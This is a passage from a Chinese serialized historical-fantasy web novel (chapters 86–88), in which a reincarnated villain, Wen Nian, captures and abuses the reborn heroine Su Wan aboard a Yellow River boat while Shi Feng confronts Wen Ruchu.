当年战场风云变幻，时樾本已占尽先机，却被一道调令指向深林，误入敌军伏击，麾下一百八十条性命无一生还。时樾单枪匹马杀出重围，却最终在荒漠中被匈奴围剿砍杀。
英雄断腕，天意难违。
温如初轻叹一口气，“时樾之死，不是战场失误，而是早已布下的局。上面要时樾死，也要时家彻底绝望。”
时枫缓缓站起，冷意从眼底蔓延开来：“那封调令，是你递上去的？”
温如初垂眸道：“我不过是顺势而为，附议了一封奏折，随了上面的意罢了。”
时枫冷笑一声，手指缓缓收紧，声音仿佛从喉间挤出：“顺势而为，好一个顺势而为。”
他转身从腰间抽出一条细绳，冷冷抛向远舟：“绑了他。”
远舟微微一颤，眼神复杂地看了温如初一眼，终究低头拾起绳索，将主人的手脚捆缚。而温如初低垂着头，没有反抗，像一具破败的傀儡。
时枫负手而立，声音如寒风凛冽：“带回京城。我要他当众伏罪，承认他害死时樾的真相。”
他心中已有算计：朝廷定不会坐视温如初落败，必然有人出面斡旋。届时，谁替温如初求情，谁就是幕后主使的帮凶。
窗外，黄河浊浪翻涌，涛声如雷。时枫抬眸望向远处，眼中燃烧着压抑的烈焰——血债未清，仇怨未平。穷尽这一生，他都不会放过他们。
“久违了，时将军。”
一道低沉而熟悉的嗓音，隔着厚重的舱门缓缓传来，仿佛暮春时节的劲风，带着难以言喻的熟稔与疏离。
厅内的喧闹瞬间静止，所有人都不约而同地停下动作，循声望向门口。
时枫眉头微蹙，心底涌起一股莫名的警觉。这声音透着几分古怪，像是故意压低了嗓音伪装，那若隐若现的熟悉感，令他感到十分诧异又隐隐不安。
反倒是温如初，在那声音响起的一瞬间，整个人都像被点亮了，仿佛遇见了救星一般，狂喜道：“先生，您终于来了！”
正当时枫思忖，这个“先生”又是何许人也之际，封闭的房门突然被一股强大的力量猛然踹开。
只听“砰”的一声闷响，尘土飞扬，光线刺破船舱的阴暗，宛如利剑劈开沉寂的混沌。逆光之中，两道身影并肩而立，面容朦胧模糊，看得不很真切。但他分明瞧见一袭月白锦袍，以及旁边身穿粗布衣裳的杂役。
他来不及细想，那月白袍子的主人是谁，那跑腿的杂役又是不是他的妻。
一瞬间，时枫感到一种难以言喻的不真实感，仿佛自己的灵魂脱离了□□，宛如堕仙重归天界，在苍茫宇宙的高处俯视芸芸众生。
梦境的出现，让他对轮回往生产生了兴趣。前几日行军途中，他因旅途枯燥，从温如初的书箱里翻出几本佛经，随手翻阅。那些晦涩的经文虽不易理解，却莫名引起了他的一些思索。
轮回往生，因果相续，这些字眼仿佛蒙尘的镜面，折射出他心底深处的某些模糊影像。他曾不以为然，却又隐约感到这些看似虚妄的道理，与眼前的命运纠葛，似乎有着难以切割的联系。
——“欲知前世因，今生受者是；欲知后世果，今生作者是。”
——“生死流转，无有穷尽；生灭不已，轮回无休。”
——“一切众生，轮回不息，唯有证涅槃者，方能永脱。”
那些平静的文字，似乎刻意要点醒他——前世的因果轮回，今生的爱恨纠葛，皆有其根由与归宿。执念未断，便会生生不息；业力未尽，便无法摆脱束缚。
他从未相信过轮回，向来以为那不过是佛家用以蛊惑人心的虚言。然而此刻，站在门口的男子，却如同命运亲手落下的一枚棋子，打破了他所有的认知。
时枫凝望着月白锦袍的男子，目光未曾移开片刻。无论是外貌的轮廓，眉宇间的冷意，还是那举手投足间的从容气度，都与此刻被捆缚在地的温如初如出一辙。只是，眼前这人的容颜隐隐多了几分沧桑，鬓边似乎染上了岁月的痕迹。
一股寒意自心底蔓延开来，时枫的指尖微微蜷缩，脑海中浮现出一个匪夷所思的念头——眼前之人，不是别人，正是上一世的温如初。
他的胸口骤然一紧，像是被什么无形的力量攫住，呼吸也变得沉重起来。若真是如此，那么眼前这一切，又究竟是怎样的因果纠缠。
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解决了第一个难题后，时枫的目光转向旁边那个瘦弱的杂役。这一次，他无需多加思索，眼前狼狈不堪的人儿，分明就是他的挚爱，他的苏绾。
可是……怎么会是这样？
他的阿绾，从来都如水边的青莲，清丽温婉，可眼前的苏绾却截然不同。两眼空洞无神，面色苍白如纸，汗水将鬓发打湿，一缕缕贴在额角，散乱如枯草。她的唇边隐约可见血迹，牙齿紧咬，唇角微微颤抖，仿佛压抑着巨大的痛楚。双手死死攥成拳，指节发白，身子佝偻着，含胸驼背，整个人缩成了一团，像极了被逼入死角的困兽，带着一种下意识的防御姿态。
时枫的喉间一阵紧缩，他下意识地唤道：“阿绾……”
可苏绾却毫无反应，仿佛未曾听见，又仿佛刻意将一切声息隔绝在外。她蜷缩着瘦弱的身体，如同风中瑟缩的枯叶，将自己紧紧裹在一层无形的壳里。
时枫的目光落在她身上，锋利如刀刃，想要剖开这层壳，探寻她深埋的痛楚，而她却像一座沉默的石像，丝毫不为所动。那双曾盛满星光的眼，蒙上了一层浓重的灰暗，空洞得让人不忍直视。
时枫的喉咙微微发紧，这样的模样，他并非第一次见到。端午那日，醉仙楼里，她癔症发作，满眼尽是疯癫与混乱，熟悉的面孔在她眼中都成了幻相，连他的声音也无法唤回她的一丝清明。
他的手微微颤抖，心口像是被一只无形的手攥紧，疼得喘不过气。他的阿绾，究竟经历了怎样的痛苦折磨，才会变成这副模样。一瞬间，他觉得自己从未离她如此遥远，也从未如此靠近真相。
正当时枫的思绪如乱絮般飞散，陷入无尽的幻想与自我怀疑之际，门口的月白锦袍男子轻轻抬手，向远舟使了个眼色。
远舟心领神会，快步走上前，将刀锋架在苏绾的脖颈，锋刃寒光逼人，逼得时枫不得再上前一步。
温如初神情陡然一振，像是抓住了救命稻草，激动地说道：“先生，你怎得如此迟来？在下险些丧命于此，白白断送了大好前程！”
那人淡淡瞥了他一眼，语气不疾不徐：“此事说来话长，途中被苏绾这贱人拖延了片刻，差点误了大局。”
说罢，他走到温如初身边，低头看了看他满是血污的右臂，目光微微一顿，随即摇了摇头，声音里透着一丝冷意：“伤得这样重，恐怕你再无机会踏入皇宫半步了。”
温如初垂下头，满脸羞愧：“我中了秦欢的奸计，被他与萧染联手坑害，幸而侥幸逃得一命，否则只怕已身首异处。”
那人听罢，目光微敛，语气中透出几分沉思：“没想到秦欢竟有这般通天逆转能耐，倒是我小看了他。”
话音一转，那人环视一周，语气变得低沉且意味深长：“既然今日众人齐聚于此，便也没什么好隐瞒的了。”
他稍稍顿了顿，继续说道：“初次见面，请容我介绍一下自己，本人温念，并非尘世俗人，而是前世修仙得道，跳脱六道轮回之堕仙。”
这番话一出，船舱内的气氛顿时凝滞，众人神色各异。
温念却不理会，冷冷扫了一眼苏绾，声音越发清冷：“而她，苏绾，也非寻常之辈。她是重生之人，拥有今生的肉胎，前世的记忆。”
他语气一顿，仿佛要让这句话的分量压进每个人的心里，片刻后，又加紧释放另一波炸雷，“秦欢，也应如此。”
短短数语，却如同惊雷般炸开，将船舱内的空气劈得四分五裂。
86. 温念
早些时候，船尾杂物间。
透过指甲盖大小的猫眼窟窿，苏绾看见一道修长瘦削的背影。那人身着月白锦缎长袍，袍上绣着繁复的卍字符文，随着闲雅步履微微翻动。三千青丝高高束起，发髻间插着雕花白玉簪，映着微弱的光泽。肩背挺拔，线条流畅，显现出天生的清隽气质。
苏绾的呼吸倏然一滞。
这道身影，苏绾再熟悉不过。他一向偏爱华服，举手投足间自带芝兰玉树的风姿。哪怕只是一眼背影，她也能立刻辨认出，这分明是温如初无疑。
他为什么会出现在这里？
温如初方才提及的，“摔杯为号”，“全部杀掉”等字眼，分明是在暗示，他已在主厅布下杀局，意图置时枫于死地。
而远舟的言辞，却给这场阴谋添了几分诡谲的意味。他一口一个“少爷”，一口一个“先生”，目标指向了两个截然不同的人。这种不协调的错位感，让人心头隐隐生出不安。
这究竟是怎么回事？
苏绾脑中思绪纷乱如飞絮，每一个细节、每一处线索都像断了线的珠子，散落在记忆的角落，任她如何拾捡，也难以串联成清晰的脉络。
忽然，仿佛有一道闪电划过，她猛地止住了混沌思考，灵台在这一瞬间前所未有的清明。随直而来的冷意自心底升腾，蜿蜒攀上四肢百骸，全身上下都透着凉意。
这不是意外，也不是巧合。
这是一个局。
一个精心编织、步步为营的双簧局。
表面看似混乱无序，但若将所有线索归于一个大胆的假设之下……
假设，这个人并非真正的温如初，而是一个伪装成温如初、戴着面具的陌生人。
一切，便豁然开朗了。
来不及细想破局之道，时枫命悬一线，危在旦夕。当务之急，她必须全力阻止这场阴谋，她没有丝毫犹豫的余地。
苏绾眼底闪过决然之色，她气沉丹田，将毕生所学凝于一瞬，模仿时枫的语气，试探性唤道：“温如初——”
声音夹杂着黄河水浑浊的腥气和震慑，直直地传向月白锦袍背影。
那人脚步一顿，身形一震，随即缓缓转身。
阳光透过船舱的缝隙洒在他身上，勾勒出俊美如画的面庞。
两道乌黑剑眉微挑，透着三分冷意；一双多情桃花眼，眼波流转，似含浅浅春水；檀色薄唇微微扬起，笑意温润，偏又透着几分凉薄。
望着这样一张脸孔，苏绾屏住呼吸，按住狂跳的心脏，强迫自己冷静下来。
那个人，竟与温如初一模一样！
若说是戴了一层人皮面具，这副容貌也未免太过逼真了。活了两世，她自认见过许多伪装高手，甚至还戴过老道为她制作的假面。但那张牛皮熬制的假脸，与眼前毫无破绽的面容相比，根本不值一提。
她不得不推翻先前的假设，绝无假面具一说，可世上又不可能有两个长得如此相似的人。纵是双生子，也难免会在神韵或细节上有所不同。
结论显而易见，这人就是温如初。
温念似乎没有察觉暗处的窥探，缓缓趸步迈向杂物间，步调不紧不慢，透着一股猫捉老鼠般的悠然与笃定。
夹道很短，未及两步，他站定杂物间门前，修长的手指微屈，轻轻叩了叩木门。
一言不发。
苏绾一颗心骤然提到嗓子眼，攥紧的手指因用力过猛而微微发颤。因为他不但外形声音酷似温如初，就连身上也带着一股淡淡的檀香味道，隔着薄薄的木门，飘进苏绾的鼻翼。
她强忍住涌上咽喉的呕吐感，深深吸了一口气，尽力压下心中的恐慌，以时枫的语气冷冷地开口：“不认得我了吗？”
温念唇角勾起一抹玩味的笑，语气带着几分戏谑：“我还以为是谁在玩‘藏猫猫’，原来是你啊，榆白兄。”
“你方才对远舟所说的那些机要，端地是何居心？为兄待你不薄啊。”苏绾紧声质问。
木门之外的温念，此时已堪破她的虚张声势，却故意不挑明。他像只悠闲的猎兽，静静等待猎物自投罗网。
他装作一副无辜模样，耸了耸肩，“我可什么都没说啊。”
“还不肯承认？我可全都听见了。”苏绾学着那个家伙的语气，态度咄咄逼人。
温念回以玩味地挑衅：“既然你全都听见了，又为何还要问我？”
“混账东西！”苏绾大声吼道：“还敢跟我装蒜！我亲耳听到，你对本将军图谋不轨，密谋陷害朝廷命官！”
威逼利诱，双管齐下，“我劝你悬崖勒马，趁早放弃邪恶念头。我当一切都没发生过，你我还是好兄弟。”
门外的温念似乎被她的反应逗乐了，薄唇微微勾起，白皙手掌摊开五指，贴放木门之上，好似感受对面的温度。
“我怎么会想害你呢？我疼你爱你还来不及，你说对不对？”
“绾绾。”
这一声“绾绾”，犹如一道惊雷在苏绾耳边炸开，瞳孔骤然收缩，指尖狠狠掐入掌心。她绝没想到，短短几句话的交锋，就让她露出破绽。
“什么绾绾？”苏绾竭力掩饰内心的慌乱，咬牙辩驳：“我看你是过于思念未婚妻，白日发梦罢了。”
温念轻笑出声：“哈哈，绾绾真会说笑。”剪了剪桃花眼眸，幽幽开口道：“我可是等了你好久。你都不说出来见我，可真让我伤心难过。”
言毕，五根白皙指头划过门框，眼神凝聚片刻，掌心猛然拍向木门，局促力量瞬间释放。
随着一声闷响，厚实木门竟被拍裂，轰然倒塌，碎木飞溅。光线兀自倾泻而入，霎时照亮了整个杂物间。
光线与阴影交织，映出他那张俊美脸庞，眉眼一笔一划，黑暗分明犹如鬼魅。劲风带着一丝河水的湿气扑面而来，拂动月白衣袍的下摆。四周静谧无声，空气仿佛凝固。
苏绾蜷缩在角落，寒意如潮水般涌上心头，指尖冰冷得僵硬。她的眼神变得锐利，手刀本能地砍向温念的喉咙，脚尖狠厉地踢向他的下身。
这一招她练得炉火纯青，向来能让对手措手不及。
然而，温念反应极快，他微微低头，水蛇般灵活地躲过手刀，又反手一抓，将她纤细的皓腕牢牢钳住，紧接着轻轻侧身，稳稳避开了她的踢击。
短短一瞬间，苏绾的绝招被人破解。
温念手腕稍稍用力，将她整个人拉得向前倾斜，另一只手如闪电般扣住她的削肩，向地面一个空翻，以身体的力量将苏绾压倒，躺在地上动弹不得。
“绾绾，你这是做什么？”声音温柔得像是在哄小孩，但那股渗透骨髓的威压，却让苏绾背脊发凉。
她拼命翻滚踢打，想要挣脱束缚，可她一弱女子，哪有男人那般力气。温念纹丝不动，稳稳压住她的四肢，力道精准而克制，像是猫戏弄着垂死挣扎的鼠。
檀唇贴近她的耳边，
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声音夹杂着一丝兴奋：“你越挣扎，我越喜欢，真是让我舍不得放手啊。”
苏绾手脚却被控制得死死的，丝毫没有挪动的余地，只能恨恨地瞪着他，满眼愤怒与恨意。
精雕细琢的手指，缓缓落在发髻间。从她柔顺的秀发滑至脸颊，停留片刻，似是在感受她肌肤的温度。他的指尖继续向下，轻按颤抖的眼睑，缓缓掠过鼻梁，最终停在唇畔，用力一刮。
风声呼啸，残破的门框晃动不止，腥风灌入，掀起苏绾的衣襟，也吹乱了她鬓边的碎发。
温念的嗓音低哑而缠绵，夹杂着某种莫名隐忍的颤抖：“绾绾，我真的等你太久了，久到我都快要忘记，你身体的味道了。”
他的身子微微前倾，檀香气息夹杂着寒意扑面而来。他凑近她耳边，声音轻柔，却像毒蛇吐信：“你太不乖了，总是想逃离我。害得我苦苦追逐，这一追，就是两世。”
苏绾的瞳孔，缩成针尖般的大小，她简直不敢相信自己的耳朵。眼前这个温如初，根本不是现世的温如初，而是、而是……
上一世那个冷酷无情，邪恶至极的温念！
“你、你……”苏绾已然说不出话来。
温念嘴角轻轻勾起，“怎么，不问我如何看透你的伎俩吗？”
苏绾紧抿双唇，强忍着内心的震撼不让自己失态，但她指尖的微颤却出卖了她的情绪。
温念似乎极为享受这种局面，他扬了扬下巴，慢条斯理道：“关键在于三个字——‘榆白兄’。我故意这么称呼，就是为了试探你。”
风声在破旧的屋内回荡，仿佛在嘲笑苏绾的愚蠢。她的大脑一片空白，难以置信地看着他。
她并不知道，温如初与时枫早已撕破脸，再不会用这种亲昵的表字称呼对方，而是改口直呼其名。而这一疏漏，却让温念轻而易举地识破了她的身份。
温念的笑容加深，“我的的确确小看了你，你竟然敢在我眼皮子底下耍心机。”
说着，他的手指再度滑向苏绾的唇，这次却不再轻柔，而是强行探入口中，狠狠揪住她的舌头。
苏绾瞪大眼睛，疼得眼泪直流，却无法挣脱。
他眼中的兴奋愈发明显，“你是什么时候学会口技的？可是教坊司的管教嬷嬷教的你，还是我亲自为你挑的师父？嗯？”
他的声音带着几分狠戾，像是在鞭笞她的尊严：“竟敢用我教你的本事反过来对付我，你真是不听话的孩子。”
他掐了许久，终于松手，苏绾大口喘息，剧烈咳嗽，脸色煞白。
然而，温念仍不肯放过她，他俯视着她，语气中透着一丝残忍的玩味：“我还听说，你会骑马?"
他摇了摇头，冷笑一声：“苏家木讷寡言的二小姐，竟然懂得驭马之术，真乃京中第一奇闻！”
他的目光如刀般刮过她的脸颊，“别告诉我你无师自通。当初御马监的太监们，为了教会你骑马，可是费了九牛二虎之力。光是让你坐稳马鞍，就足足花了一个月。”
温念的眼中透出一丝狠意：“其实，从你逃婚开始，我就知道不对劲。只可惜，温如初那个蠢货，他太在意你了，总以为你不会背叛他。”
他啐了一口，目光阴鸷：“温如初太天真了。他怎会想到，你这种人，向来喜欢勾搭男人，骨子里就是个贱种。”
苏绾咬紧牙关，愤怒的泪水无声滑落，眼中燃起了倔强的火焰。
（未完待续）
87. 温念
七月正午，烈日悬空。
河面波光粼粼，炽热的阳光穿过狭窄的舷窗，洒落在狭小的船舱杂货间。空气中混杂着潮湿的木料气味和河水的腥味，令人胸口发闷。船身随着河水微微晃动，压得老旧的木板发出“吱呀”声，仿佛不堪重负。堆积如山的杂物将狭小的空间挤得满满当当，陈旧的麻绳、破损的渔网、甚至还有几袋生满霉斑的稻米，全都散发着令人作呕的腐败气息。
木门在身后破碎的声响尚未完全散去，苏绾躺卧在男人的怀里，手脚被麻绳牢牢束缚，冰冷的汗水顺着鬓角滑落，浸湿了她单薄的衣衫。光影在她脸上交错，衬得她的面容更加苍白如纸。恐惧如毒蛇缠绕住她的脊骨。腥风从破裂的门缝涌入，割裂她暴露在外的肌肤。她的指尖微颤，几乎握不住拳，但内心深处的倔强却让她强迫自己勇敢起来，直视眼前的恶魔。
两世？！
面前的男人嘴里轻轻吐出这两个字，声音低沉缓慢，带着一种漫不经心的戏谑。他逆光屈身坐在堆积的杂物上，上身身形被拉得修长，月白色长袍垂至脚踝，金线暗纹在阳光下泛着细微的光泽。
苏绾的眼神在刹那间涣散，像被拉入无边无际的深渊。一道刺眼的白光在脑海中闪过，她的瞳孔骤缩成针尖般大小，耳畔似有雷霆轰鸣，压得她几乎无法呼吸。前世的画面如潮水般涌现，带着撕裂般的疼痛侵占了她的思绪。
她看见古老的京城被血色笼罩，城墙上的旗帜在浓烟中飘扬，焦灼的气味弥漫天际，烈焰将如山的柴垛烧得噼啪作响。脚下的百姓匍匐在地，面色惶恐，喃喃祷告：“诛杀妖女苏绾，上天佑我华夏！”
在那烈焰与鲜血交织的炼狱中，高大的身影缓缓走来。他戴着狰狞的恶鬼面具，手握火把，举高的手臂如同死神的镰刀。
面具被他揭下，一张俊美无俦的脸露了出来，清冷且熟悉。芝兰玉树般的温润模样，唇角却勾着摄人心魄的笑。
这一幕与眼前的温念重叠，像层层覆盖的外壳终于被剥去，露出内里真实的模样。
苏绾骤然回神，浑身一颤，冷汗瞬间浸透后背。
这个温如初，根本不是现世的温如初，而是、而是……
上一世那个冷酷无情，邪恶至极的温念！
“你、你……”苏绾喉咙干涩，几乎发不出声音，浑身因恐惧而颤抖不止。
温念嘴角勾起一抹弧度，修长的手指缓缓抬起，轻轻拂过她的眉心，低沉的嗓音像丝绒般轻柔，却包裹着锋利的刀刃：“怎么，不认得我了吗？我是你的夫君呀。你是我温念，三书六礼、明媒正娶的妻。”
船舱中沉闷的空气瞬间变得令人窒息，苏绾脑中嗡嗡作响，仿佛有什么东西在她耳边不断重复：“你是温念的妻。”
这短短六个字，如一柄钝刀，狠狠剜进她的心口，将前世的伤疤鲜血淋漓地撕开。她用尽全身力气摇头，却无法否认这冰冷的事实。心里有个声音督促她，大声警醒她，要她千万记住这六个字。
苏绾闭了闭眼，仿佛想要驱散记忆，却越发清晰地想起那些刻骨铭心的过往——她曾为这“夫君”付出血泪，赔上性命。
“你不是温如初。”她咬紧牙关，终于逼出一句。
温念却似乎听到了什么天大的笑话，嘴角笑意愈深：“不愧是我的绾绾，这么快就想明白了。”
他修长的手指抚过她的面颊，缓缓勾起她的下巴，逼迫她直视自己：“你费尽心机扮成乖乖的苏家二小姐，还真让我好一阵期待。”
温念的笑容加深，“我的确小看了你，竟敢在我的眼皮子底下耍心机。”
修长的手指滑向她的朱唇，这一次却不再是轻柔的触碰，而是强行探入口中，指尖勾住她的舌头，力道之大让她眼泪瞬间夺眶而出。
“你是什么时候学会口技的？”温念的声音依旧轻缓，却带着一种冷酷的戏谑，“春月坊可没有这般能人教导你。还是说，你早已忘了那位教坊司的管教嬷嬷，或者我亲自为你挑的师父，嗯？”
指尖勾连着小舌，指甲深深嵌入血肉，疼得苏绾眼泪横流，几乎窒息，挣扎的力气逐渐消失，双眼涣散无力，只能发出含糊不清的呜咽。
“你用我教你的本事对付我？”温念低头，声音陡然转冷，“真是不听话。”
掐了许久，温念乏了，终于松手，将她的身子随手一丢，像是抛弃什么不重要的物什，“咣”得一声砸在地上，溅起一地的尘土。
灰尘在狭小的船舱中飞舞，钻进苏绾的鼻翼，苏绾大口喘息，佝偻着腰肢剧烈咳嗽，脸色变得煞白无血色，只有嘴角一抹血痕，殷红湿润，吸引灰尘纷纷粘附上来，好似一尊被摧残至破败的玩偶。她试图挣扎着坐起，却因虚弱而屡屡失败。
然而，他仍不肯放过她。
温念揣着袖子俯视她，眼底的冷意更浓。他抬脚踢了踢她的肩膀，像是在挑弄一个不听话的孩子：“我听说，你还会骑马？”
他的声音拖长，带着嘲讽的弧度：“苏家木讷寡言的二小姐，居然懂得驭马之术，真是京中一大奇闻！”
他顿了顿，微微低头，语气转为森冷：“别告诉我，你无师自通。当初御马监的太监们，为了教会你骑马，可是费了九牛二虎之力。光是让你坐稳马鞍，就足足花了一个月。”
说罢，他扬起靴子，狠狠踹了她一脚，力道之大，竟让她尖叫着滑出了一段距离，身体撞上船舱的木墙，发出沉闷的“咚”声。脚印清晰地烙在粗布衣裳，对于低级奴仆来说，这种待遇倒也寻常可见，毫无违和感。
这一脚也踢出了温念的汗水，他掏出汗巾拭汗，眼中透出一丝狠意：“其实，从你逃婚开始，我就知道不对劲。可惜温如初那个蠢货，他太在意你了，总以为你不会背叛他。”
“他怎会想到，”他随手掷了浸湿的汗巾，声音里透着恶意的冷笑，“你这种人生来就喜欢勾搭男人，骨子里就是个贱种。”
他说她是贱种。
苏绾蜷缩在地，目光低垂，掩住眼中燃起的冷光。
指尖不着痕迹地试探着绑住手腕的布条，汗水浸透的布料微微松垮，粗糙的触感在皮肤上摩擦生疼。
她强迫自己保持平静，努力拖延时间。
“温念……”她低声开口，“你想错了。我逃婚，却不是为了逃离你，而是要逃离温如初。你们并不是同一个人，不是吗？”
温念闻言嗤笑一声：“他是他，我是我。”
“如今我知道了，”苏绾轻轻抬眸，泪光在眼底氤氲，努力装出一副柔弱无助的模样，“既然你们不一样，那我自然对你们的态度也不一样。”
温念眼神微微一凝，他缓缓俯下身，手指挑起她的下巴，语气低沉：“还想挑拨离间？嗯？我若信你，岂不是让你一再钻空子？绾绾，我对你，可是学聪明了。”
苏绾的脸微微偏过，避开他的触碰，背后的手腕却已经挣脱了一半，“温念，你这样是抓不住我的心的。何苦强人所难？”
“因为你是我的妻啊。”温念直起身，居高临下地看着她，目光冰冷中透着执拗，“从前是，现在是，将来也是。”
苏绾抬起头，眼中忽
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然闪过一抹狠意。就在温念微微失神的一瞬间，她的手腕猛地一抽，彻底挣脱布条束缚，趁他不备，一掌直直拍向他的面门！
温念一愣，下意识抬手挡住攻击，却没料到苏绾早有预谋，另一只手握紧了藏在袖中的瓷器碎片，朝着他的腕间狠狠划去。
“嘶——”温念吃痛，后退了一步，眼中闪过一丝暴怒。
苏绾趁此机会，快速用手扯散绑在腿间的布条，一跃翻身而起，动作利落地冲向舱门。
迎面便是狭长的木质夹道，潮湿的空气扑面而来，夹杂着黄河水的腥气和船舱特有的霉腐味道。她的脚步在狭窄的通道里回荡，发出沉闷的“咚咚”声，打破了四周沉寂的黑暗。
她不敢回头，双手死死攥拳，尽量不让累赘的衣料妨碍行动。心跳如鼓，耳边传来的却不止是自己的呼吸声——夹道的另一头隐隐传来人声骚动，还有兵刃相交的清脆声响。
“有人来了！”苏绾心中一沉，明白温念的暗卫已经开始行动。她的脑海飞速运转，强迫自己冷静下来，目光扫过夹道两侧，试图寻找一条可以藏身的路。
可她只是个不谙世事的大小姐，生来锦衣玉食，哪里经历过这样的追逐？仅仅几步，她便已气喘吁吁，胸口如同压了一块大石，酸软的双腿几乎让她跌倒在地。
就在此时，前方通道尽头骤然出现两道黑影——两个黑衣暗卫提刀而立，正冷冷地注视着她。
苏绾的一身杂役装束，被对方误认为是船上的人。
苏绾的心跳漏了一拍，下意识地停住脚步，想要转身逃跑。然而身后的脚步声却愈发逼近，她知道，自己已无路可退。
“站住！”其中一名暗卫低喝一声，拔刀便向她走来。
苏绾的手心早已被冷汗浸透，她强迫自己镇定，目光飞快地扫过四周，突然看见夹道旁堆放着一些麻袋和杂物。她迅速后退几步，故意装作无助地摔倒在地，同时伸手将脚边的一袋物品猛地推向暗卫。
“砰！”麻袋滚落，暗卫猝不及防地被绊了一下，刀锋堪堪偏开，贴着苏绾的脸划过。
“抓住她！”身后传来温念冷冽的声音，带着一股迫人的寒意。
苏绾趁着暗卫闪避的瞬间，踉跄地爬起身，扶着墙壁继续往前跑。她的双腿发软，几乎无法支撑自己，但生存的本能让她不敢停下。每一步都像踩在刀尖上，疼痛与恐惧混杂在一起，仿佛下一刻便会跌入深渊。
通道尽头的门近在眼前，苏绾几乎要冲出去时，身后传来一阵急促的脚步声，紧接着，她的后领被人猛地一把拽住！
“够了，苏绾！”温念的声音低沉而冰冷，宛如一道穿透骨髓的寒风。他用力将她扯回身旁，直接将她按在墙上。
苏绾拼命挣扎，双手抓挠着温念的手臂，眼中满是倔强与愤怒：“放开我！温念，你不能这样对我！”
“不能？”温念低笑一声，眼中透出森冷的怒意，“苏绾，你未免太天真了些。你以为凭你的身份，就能逃出我的手掌心？”
苏绾的挣扎渐渐无力，双臂被温念牢牢钳住，贴着粗糙的木墙，背后的刺痛让她几乎要落下泪来。可她咬紧牙关，死死不肯让眼泪流下。
温念低头看着她，目光冷冽中透着一丝嘲弄：“你跑得了一时，却逃不了一世。苏绾，你今生都逃不出我的掌心。认命吧。”
船舱内空气沉闷得让人喘不过气，黄河的水声透过夹缝涌入耳中，带着隐隐的压迫感。苏绾的心中冰冷一片，额角的汗水顺着脸颊滑落，但她的眼神却未曾动摇，依旧燃烧着不屈的火焰。
88. 交锋
苏绾再次被温念捉住，形势跟之前已经完全不同了。
这一次，温念不再大意，也不再相信她所说的每一个字。对他来说，眼前的苏绾，已不再是上一世那个柔顺乖巧、任由他摆布的女子，而是满腹心机、善于伪装的危险人物。
她的反应有些出乎他的意料，尤其是那股隐忍的倔强和暗藏的锋芒，无论是言辞还是举动，都透着让人难以捉摸的狡黠与机敏，让他感觉隐隐的不安。
她的一举一动，甚至她刻意掩饰的情绪，都让他察觉到一丝异样。这种异样，让他不禁回想起自己初到这处时空之时，所经历的情感震荡——那种陌生的割裂感，以及灵魂与身体不完全契合的一种游离状态。
他曾因此怀疑过，苏绾和他一样来自另一个时空。然而，在他暗中观察了许久之后，却并未发现任何直接证据。
因为这世上，并没有第二个“苏绾”存在。
温念逐渐意识到，苏绾的“不同”并非因为肉身穿越，而是记忆重生。换句话说，她仍是这个时空的苏绾，身体与灵魂未曾分离，但她却带着上一世的记忆，重回现世。
这一认知，让温念心中生出一股复杂的情绪。他一方面为自己解开了疑惑感到庆幸，另一方面却更加保持警惕——拥有前世记忆的苏绾，无疑是个十分危险的对手。
她知道过去的事情，知道他的一部分秘密，甚至还可能知道他的弱点。更重要的是，她知道如何与他周旋，如何将每一个机会化作反击的筹码。
却不会再上他的当。
这让温念不得不重新评估苏绾的威胁，也让他更加坚定了一点——他绝不能再轻易相信她的任何话语，也绝不能再给她任何逃脱的机会。
“苏绾，”他低声说道：“你不会蠢到以为，我只是个普通人吧？试问世间有哪个凡人，能做到我这地步？”
他的目光变得冷戾，“你最好明白一个道理——我乃天命选中的气运之子。”
“跟我斗，就是与天斗。”
此刻，苏绾也在飞速思忖，眼下自己难逃温念的掌控，她必须在这场较量中找到突破点，即使微弱，也要拼尽全力争取，绝不让对方阴谋得逞。
苏绾开始认真思考一个关键问题：上一世的温念，为何会出现在这一世？难道他跟她一样，也是带着记忆重生来到这世界？
然而从眼前的局势来看，他的情况显然与自己截然不同。两个温如初的存在，明确昭示了温念并非单纯的记忆重生。否则，不可能同时出现两个看似独立个体，却存在关联的人物。
不是记忆重生，那又会是什么情况？肉身穿越吗？
这一假设似乎也不成立。她曾亲眼见证温念的死亡场景——烈火焚天、鲜血四溅的末日，时枫手持金枪，一击刺中温念的胸膛，温念血如泉涌，倒地而亡。
苏绾对这一幕的记忆无比深刻，甚至常常在梦中反复出现。可如果他真的死了，那他又如何出现在这一世？难道真的如他口中所言，他已逃过轮回，成为气运之子，得道成仙了吗？
成了仙的温念，拥有更强的力量、更难以对抗的信念，简直堪称恶魔降临。
这个荒谬念头一冒出来，便让苏绾浑身颤抖不寒而栗。她强迫自己冷静下来，不敢继续往更坏的方向深想。
她决定退一步思考，也许事情并没有想象中那么玄乎，不如先从最简单的切口入手。
假定上一世的那一刺，并非真正致命，温念侥幸活了下来，又因某种玄学的契机穿越到这一世。这种可能性虽然依旧难以解释，但相较于“成仙”之说，更加符合正常的逻辑认知。
温念穿越以后，设法与温如初联手。这两人一个心思深沉、手段狠辣；另一个表面温润、暗里腹黑，二人狼狈为奸，一拍即合。
这个推测让苏绾心头一沉。“双剑合璧”，比起之前更具威胁。她必须尽快弄清楚温念的目的，以及温如初在其中的角色，否则有可能酿成大祸。
透过额前微乱的发丝，苏绾悄然打量着温念。船舱左右摇摆，光影跳动间，他的脸颊忽明忽暗，衬托他的心情阴晴不定。
宜攻心为上。
苏绾嘴角勉强扯出一抹笑意，“别和我扯什么天命人命，我不信那一套。记忆的确帮不了我什么，更多的，还要靠我自己的努力。”
她轻轻地吐出一口气，“温念，你有两个人，我呢，也不是孤身一人啊。”
温念听到这话，目光倏地一沉，“你什么意思？”
苏绾慢慢抬起眼，眸中泛起冷意，像是黎明前的一抹寒霜，“我自有我的利剑，专门用来对付你。”
“利剑”二字在空气中回荡，仿佛一柄真正的利刃刺入温念的心口。他的瞳孔微缩，脸上的阴郁更深，整个舱室的温度都骤降了几分。
他冷笑一声，眼中燃起几近癫狂的怒火，“你的利剑？可要笑死人了。”
时枫，上一世那个手持金枪、将他一击毙命的男人，是他至死都无法忘却的仇敌。即便跨越了时空的藩篱，他的执念依然鲜活得如同昨日。
“你真以为，靠他就能护住你？”
苏绾看着他那几乎要撕裂一切的眼神，心底泛起寒意，却强自镇定道：“护不护得住，试试不就知道了？温念，你以为自己无懈可击，可这一世，胜负未定！”
温念的胸膛微微起伏，显然被她的话深深地激怒，“小婊子，你是真不怕死。”
话音未落，他揪住苏绾的衣领，一路拖行至杂物间，掐住她的喉咙，以自身重量压在她的身上。
